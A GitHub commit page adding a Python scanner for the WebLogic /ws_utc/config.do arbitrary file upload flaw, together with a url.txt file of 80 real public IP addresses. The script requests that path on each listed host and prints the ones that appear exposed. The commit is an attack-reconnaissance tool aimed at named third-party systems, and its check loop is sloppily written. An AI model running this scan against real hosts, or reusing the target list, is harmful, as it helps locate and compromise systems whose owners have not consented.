Skip to content

Commit db6a776

Browse files
jiushilljiushill
authored
Add files via upload
1 parent 8538a00 commit db6a776

2 files changed

Lines changed: 118 additions & 0 deletions

File tree

‎WebLogic任意文件上传/Arbitrary_upload.py‎

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
import requests
2+
import threading
3+
import os
4+
5+
error=['404','Not Found','找不到','安全狗','无权访问','403']
6+
ok=[]
7+
bad=[]
8+
def exploit():
9+
headers={'user-agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1'}
10+
path='/ws_utc/config.do'
11+
print('[+]Weblogic arbitrary file upload detection POC,data:https://mp.weixin.qq.com/s?__biz=MzIwMDk1MjMyMg==&mid=2247484311&idx=1&sn=14da21743a447449896292bb367a322e&chksm=96f41cfaa18395ec6182af2353ac55079ca9376ea8d2a2f8a1816c12e7e79b1081b0bc01d2fe&mpshare=1&scene=1&srcid=0719et8NMmpFCRlu8vcgqreh#rd')
12+
user=input('Imported files:')
13+
if os.path.exists(user):
14+
print('[+]file {} ok'.format(user))
15+
else:
16+
print('[-]Not Found {}'.format(user))
17+
exit()
18+
19+
ops=open('{}'.format(user),'r')
20+
for o in ops.readlines():
21+
sc="".join(o.split('\n'))
22+
urls=sc+path
23+
try:
24+
reques=requests.get(url=urls,headers=headers,allow_redirects=False,timeout=3)
25+
for e in error:
26+
if reques.status_code==200 and e not in reques.text:
27+
pd='[+]debug url:{}'.format(sc)
28+
if pd in ok:continue
29+
ok.append(pd)
30+
print(pd)
31+
else:
32+
nos='[-]Not debug url:{}'.format(sc)
33+
if nos in bad:continue
34+
bad.append(nos)
35+
print(nos)
36+
except:
37+
pass
38+
exploit()

‎WebLogic任意文件上传/url.txt‎

Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
http://84.241.52.110
2+
http://125.32.26.211
3+
http://61.142.172.82
4+
http://67.222.214.4
5+
http://178.252.189.213
6+
http://2.181.0.158
7+
http://217.219.180.112
8+
http://125.76.225.169
9+
http://125.215.37.217
10+
http://59.59.55.202
11+
http://114.251.203.84
12+
http://194.150.11.114
13+
http://202.108.145.132
14+
http://195.170.181.13
15+
http://125.32.26.220
16+
http://217.194.215.238
17+
http://67.222.214.22
18+
http://194.72.112.140
19+
http://118.178.173.191
20+
http://123.173.79.128
21+
http://113.207.120.141
22+
http://130.211.128.153
23+
http://194.72.112.217
24+
http://194.72.112.194
25+
http://125.32.98.106
26+
http://194.72.112.205
27+
http://113.204.205.237
28+
http://202.199.96.30
29+
http://113.196.174.152
30+
http://118.31.166.124
31+
http://194.72.112.143
32+
http://84.241.29.230
33+
http://195.69.154.135
34+
http://66.155.98.1
35+
http://193.219.96.212
36+
http://194.72.112.150
37+
http://125.64.214.186
38+
http://50.19.36.187
39+
http://50.20.225.214
40+
http://195.33.241.77
41+
http://125.32.98.116
42+
http://202.111.196.29
43+
http://67.192.223.199
44+
http://195.249.180.16
45+
http://66.77.93.246
46+
http://218.66.66.252
47+
http://79.173.252.6
48+
http://111.17.183.219
49+
http://190.216.234.26
50+
http://1.202.242.118
51+
http://66.94.18.106
52+
http://210.125.12.34
53+
http://59.151.126.80
54+
http://194.72.112.142
55+
http://38.101.225.137
56+
http://89.221.83.10
57+
http://88.204.202.126
58+
http://194.72.112.216
59+
http://60.217.100.102
60+
http://125.46.2.23
61+
http://190.60.31.181
62+
http://194.72.112.177
63+
http://202.98.11.192
64+
http://130.61.12.251
65+
http://111.235.156.218
66+
http://108.4.139.153
67+
http://112.35.18.211
68+
http://66.209.78.219
69+
http://2.185.214.28
70+
http://38.110.99.22
71+
http://38.101.225.136
72+
http://194.72.112.167
73+
http://183.233.176.96
74+
http://210.51.22.239
75+
http://194.72.112.246
76+
http://61.135.227.115
77+
http://123.124.131.199
78+
http://85.132.77.97
79+
http://175.100.138.13
80+
http://66.191.146.99

0 commit comments

Comments
 (0)